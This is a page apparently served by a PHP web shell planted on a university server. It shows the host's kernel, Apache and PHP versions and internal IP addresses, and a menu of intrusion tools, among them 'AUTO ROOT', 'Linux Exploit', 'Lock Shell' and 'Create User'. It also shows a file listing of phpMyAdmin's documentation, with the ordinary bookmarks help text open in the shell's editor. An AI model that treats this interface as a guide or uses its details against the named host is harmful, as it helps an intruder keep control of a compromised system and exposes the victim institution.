Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
phpmyadmin /
doc /
html /
_sources /
[ HOME SHELL ]
Name
Size
Permission
Action
bookmarks.rst.txt
2.41
KB
-rw-r--r--
charts.rst.txt
4.63
KB
-rw-r--r--
config.rst.txt
124.59
KB
-rw-r--r--
copyright.rst.txt
1.58
KB
-rw-r--r--
credits.rst.txt
27.36
KB
-rw-r--r--
developers.rst.txt
380
B
-rw-r--r--
faq.rst.txt
92.28
KB
-rw-r--r--
glossary.rst.txt
14.94
KB
-rw-r--r--
import_export.rst.txt
9.97
KB
-rw-r--r--
index.rst.txt
573
B
-rw-r--r--
intro.rst.txt
3.08
KB
-rw-r--r--
other.rst.txt
916
B
-rw-r--r--
privileges.rst.txt
3.22
KB
-rw-r--r--
relations.rst.txt
3.26
KB
-rw-r--r--
require.rst.txt
1.84
KB
-rw-r--r--
security.rst.txt
4.5
KB
-rw-r--r--
settings.rst.txt
1015
B
-rw-r--r--
setup.rst.txt
45.06
KB
-rw-r--r--
themes.rst.txt
2.87
KB
-rw-r--r--
transformations.rst.txt
7.76
KB
-rw-r--r--
two_factor.rst.txt
2.83
KB
-rw-r--r--
user.rst.txt
195
B
-rw-r--r--
vendors.rst.txt
2.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bookmarks.rst.txt
.. _bookmarks: Bookmarks ========= .. note:: You need to have configured the :ref:`linked-tables` for using bookmarks feature. Storing bookmarks ----------------- Any query that is executed can be marked as a bookmark on the page where the results are displayed. You will find a button labeled :guilabel:`Bookmark this query` just at the end of the page. As soon as you have stored a bookmark, that query is linked to the database. You can now access a bookmark dropdown on each page where the query box appears on for that database. Variables inside bookmarks -------------------------- Inside a query, you can also add placeholders for variables. This is done by inserting into the query SQL comments between ``/*`` and ``*/``. The special string ``[VARIABLE{variable-number}]`` is used inside the comments. Be aware that the whole query minus the SQL comments must be valid by itself, otherwise you won't be able to store it as a bookmark. Also, note that the text 'VARIABLE' is case-sensitive. When you execute the bookmark, everything typed into the *Variables* input boxes on the query box page will replace the strings ``/*[VARIABLE{variable-number}]*/`` in your stored query. Also remember, that everything else inside the ``/*[VARIABLE{variable-number}]*/`` string for your query will remain the way it is, but will be stripped of the ``/**/`` chars. So you can use: .. code-block:: mysql /*, [VARIABLE1] AS myname */ which will be expanded to .. code-block:: mysql , VARIABLE1 as myname in your query, where VARIABLE1 is the string you entered in the Variable 1 input box. A more complex example, say you have stored this query: .. code-block:: mysql SELECT Name, Address FROM addresses WHERE 1 /* AND Name LIKE '%[VARIABLE1]%' */ If you wish to enter "phpMyAdmin" as the variable for the stored query, the full query will be: .. code-block:: mysql SELECT Name, Address FROM addresses WHERE 1 AND Name LIKE '%phpMyAdmin%' **NOTE THE ABSENCE OF SPACES** inside the ``/**/`` construct. Any spaces inserted there will be later also inserted as spaces in your query and may lead to unexpected results especially when using the variable expansion inside of a "LIKE ''" expression. Browsing a table using a bookmark --------------------------------- When a bookmark has the same name as the table, it will be used as the query when browsing this table. .. seealso:: :ref:`faqbookmark`, :ref:`faq6_22`
Close